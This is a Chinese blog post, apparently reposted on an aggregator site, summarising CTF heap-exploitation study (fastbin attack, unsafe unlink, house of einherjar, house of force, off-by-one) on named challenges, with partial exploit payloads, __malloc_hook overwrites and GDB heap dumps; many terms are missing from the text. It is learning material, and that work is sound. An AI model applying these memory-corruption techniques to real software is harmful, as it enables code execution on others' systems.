當前位置:
首頁 > 最新 > CTF 玩轉 pwn 月度總結

CTF 玩轉 pwn 月度總結

本文作者:Bill

贈送書籍:《黑客大曝光: 惡意軟體和RootKit安全》

自從加入 交流群, 在 , 的幫助下, 學習之路進入加速度. 下面是 周學習的總結, 基本上是按照 路線走的.由於 周內容全寫, 篇幅太長, 這裡只講述每道 題所用到的一個知識點.


知識點利用 之間,單鏈表的連接的特性, 溢出修改下一個 的地址, 造成任意地址寫.

例子: 0CTF 2017 Babyheap

功能可以填充任意長位元組, 漏洞在此.

內容為

重點: fastbin attack

First Step

alloc(0x60)

alloc(0x40)

0x56144ab7e000:0x00000000000000000x0000000000000071-->chunk0header

0x56144ab7e010:0x00000000000000000x0000000000000000

0x56144ab7e020:0x00000000000000000x0000000000000000

0x56144ab7e030:0x00000000000000000x0000000000000000

0x56144ab7e040:0x00000000000000000x0000000000000000

0x56144ab7e050:0x00000000000000000x0000000000000000

0x56144ab7e060:0x00000000000000000x0000000000000000

0x56144ab7e070:0x00000000000000000x0000000000000051-->chunk1header

0x56144ab7e080:0x00000000000000000x0000000000000000

0x56144ab7e090:0x00000000000000000x0000000000000000

Second Step

Fill(0x10,0x60+0x10,"A"*0x60+p64()+p64(0x71))-->開始破壞chunk1header

0x56144ab7e000:0x00000000000000000x0000000000000071

0x56144ab7e010:0x61616161616161610x6161616161616161

0x56144ab7e020:0x61616161616161610x6161616161616161

0x56144ab7e030:0x61616161616161610x6161616161616161

0x56144ab7e040:0x61616161616161610x6161616161616161

0x56144ab7e050:0x61616161616161610x6161616161616161

0x56144ab7e060:0x61616161616161610x6161616161616161

0x56144ab7e070:0x00000000000000000x0000000000000071-->已修改為0x71

0x56144ab7e080:0x00000000000000000x0000000000000000

Third Step: 申請

0x56144ab7e060:0x61616161616161610x6161616161616161

0x56144ab7e070:0x00000000000000000x0000000000000071

0x56144ab7e080:0x00000000000000000x0000000000000000

0x56144ab7e090:0x00000000000000000x0000000000000000

0x56144ab7e0a0:0x00000000000000000x0000000000000000

0x56144ab7e0b0:0x00000000000000000x0000000000000000

0x56144ab7e0c0:0x00000000000000000x0000000000000111-->chunk2header

Fouth Step: 破壞 , 最後目的是釋放

Fifth Step: 修復

Fill(1,0x40+0x10,"b"*0x60+p64()+p64(0x111))-->修復chunk2

Free(2)

Dump(1)

0x56144ab7e060:0x61616161616161610x6161616161616161

0x56144ab7e070:0x00000000000000000x0000000000000071

0x56144ab7e080:0x62626262626262620x6262626262626262

0x56144ab7e090:0x62626262626262620x6262626262626262

......

0x56144ab7e0c0:0x00000000000000000x0000000000000111

0x56144ab7e0d0:0x00007f26abbacb780x00007f26abbacb78-->指向libc中的某地址(程序使用的是write,將內容全部列印,不會出現x00截止)

0x56144ab7e0e0:0x00000000000000000x0000000000000071

Sixth Step: 修改下一個 為

Free(1)

payload="a"*0x60+p64()+p64(0x71)+p64(malloc_hook-27-0x8)+p64()# fake chunk + 修改修改的地址

Fill(,0x60+0x10+0x10,payload)

詳解解析:

文件下載

https://github.com/BBS-Bill-Gates/CTF/tree/master/how2heap/fastbin_dup


知識點

1、當 不足以滿足申請的大小, 會合併 的空閑 。 如若在不足: 主分配區調用 , 增加 大小; 非主分配區調用 來分配一個新的 。

2、 表中存放著函數的真實地址, 函數調用會去 表中查找函數地址, 然後跳轉.修改 表對應函數的地址, 達到 目的.

3、: 釋放兩次內存, 可與 搭配實現任意地址讀寫.

栗子:HITCON CTF 2016 SleepyHolder

程序分析

可以選擇申請 三種不同大小的堆塊, 每種只能申請一個, 會清空

刪除, 將相應的標誌位置位 0

修改, 不檢查相應的指針是否已釋放, 造成

重點

演示過程: 申請 , 刪除 , 申請

申請large secret之前

之後

詳細解析:

文件下載:

https://github.com/BBS-Bill-Gates/CTF/tree/master/how2heap/fastbin_dup_consolidate


知識點

: 當 兩個相鄰的 時, 會發生合併的特性來攻擊的. 合併後的 塊放在雙向鏈表構成的 .

栗子:HITCON CTF 2014 stkof

程序分析

輸入分配內存的大小

: 寫入任意長度, 漏洞在此

重點

繞過 size 檢查

繞過指針檢查

繞過size

if(__builtin_expect(chunksize(P)!=prev_size(next_chunk(P)),))

malloc_printerr("corrupted size vs. prev_size");

過程捋一下

P=0x1307540,chunksize(P)=0x20

nextchunk(P)=0x1307540+0x20=0x1307540+0x20

prev_size=[0x1307540+0x20]=0x20

0x20=0x20,繞過,就是fake_chunk,很好繞過的.

繞過指針檢查

if(__builtin_expect(FD->bk!=P||BK->fd!=P,))

malloc_printerr("corrupted double-linked list");

過程捋一下

FD=[0x1307540+0x10]=0x602138,

BK=[0x1307540+0x18]=0x602140

FD->bk=[0x602138+0x18]=0x1307540,

BK->fd=[0x602140+0x10]=0x1307540

P=0x1307540

FD->bk!=P為false

BK->fd!=P為false

成功繞過

詳細解析

文件下載

https://github.com/BBS-Bill-Gates/CTF/tree/master/how2heap/unsafe_unlink/hitcon_ctf_2014


知識點

: 該對利用技術可以強制使得 返回一個幾乎任意地址的 , 主要在於濫用 中的後向合併.

栗子:Seccon CTF 2016 tinypad

程序分析

, 將指針釋放, size 位清零, 但沒有將對應的指針清零.

, 存在一個 漏洞.

`Quit

重點

通過利用 和 , 修改 的指針

1. 泄露

add(0x80,"A"*0x80)

add(0x80,"B"*0x80)

add(0x80,"C"*0x80)

add(0x80,"D"*0x80)

delete(3)

delete(1)

2. house_of_einherjar

add(0x18,"A"*0x18)

add(0x100,"B"*0xf8+p64(0x11))

add(0x100,"C"*0x100)

add(0x100,"D"*0x100)

tinypad=0x602040

offset=heap+0x20-0x602040-0x20

fake_chunk=p64()+p64(0x101)+p64(0x602060)*2

edit(3,"D"*0x20+fake_chunk)

zero_byte_number=8-len(p64(offset).strip("x00"))

"""

循環edit的原因是stcpy()會因為空子節而停止copy, 但每次讀取都會將最後一個位元組變為NULL, 這樣就可以用NULL逐一覆蓋, 使2號chunk的prev_size為offset

"""

foriinrange(zero_byte_number+1):

data="A"*0x10+p64(offset).strip("x00").rjust(8-i,"f")

edit(1,data)

delete(2)

edit(4,"D"*0x20+p64()+p64(0x101)+p64(main_arena+0x58)*2)#修復unsorted bin

詳細解析:

文件下載:

https://github.com/BBS-Bill-Gates/CTF/tree/master/how2heap/house_of_einherjar


知識點

: 溢出 , 返回任意地址.

: 當 不能滿足申請的大小時, 就會從 分割相應的大小給用戶. 例如: 第一次 時, 中並沒有相應的空閑的 chunk, 就會從 中分配.

栗子:BCTF 2016 bcloud

程序分析

welcome: 輸入 . 漏洞在此, 構造一定的輸入, 可使程序複製過量的數據到相應的堆空間, 可修改

New Note: malloc

Show Note: display

Edit Note: update

Delete: free

重點

name="Bill"*0x10

org="A"*0x40

host=p32(0xffffffff)

welcome(name,org,host)

原因

詳細解析:

文件下載:

https://github.com/BBS-Bill-Gates/CTF/tree/master/2016/BCTF/bcloud


知識點

: 意思就是我們能夠多寫入一個位元組, 不要小看這個位元組,有時候能夠修改 的狀態.

栗子: Asis CTF 2016 b00ks

程序分析

Welcome: 輸入一個 , 這個地方存在 漏洞, 溢出一個空子節.

Create a book: 創建一本書

Delete

Edit a book

Print book detail

Change current author name (再次編輯給了我們修改 book 指針的機會)

Exit

漏洞位置

第一個影響: 信息泄露

第二個影響: 會修改堆地址

思路:在修改後的堆地址布置一個 , 可以修改任意地址.

詳細解析:

文件詳解:

https://github.com/BBS-Bill-Gates/CTF/tree/master/ctf-wiki/heap/off_by_one


知識點

: 內存被釋放後, 其對應指針沒有被置為, 再次使用有可能使程序崩潰.


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 全球大搜羅 的精彩文章:

生活在絕地求生中的島上是一種怎樣的體驗?
男人真的都忘不了前任嗎?

TAG:全球大搜羅 |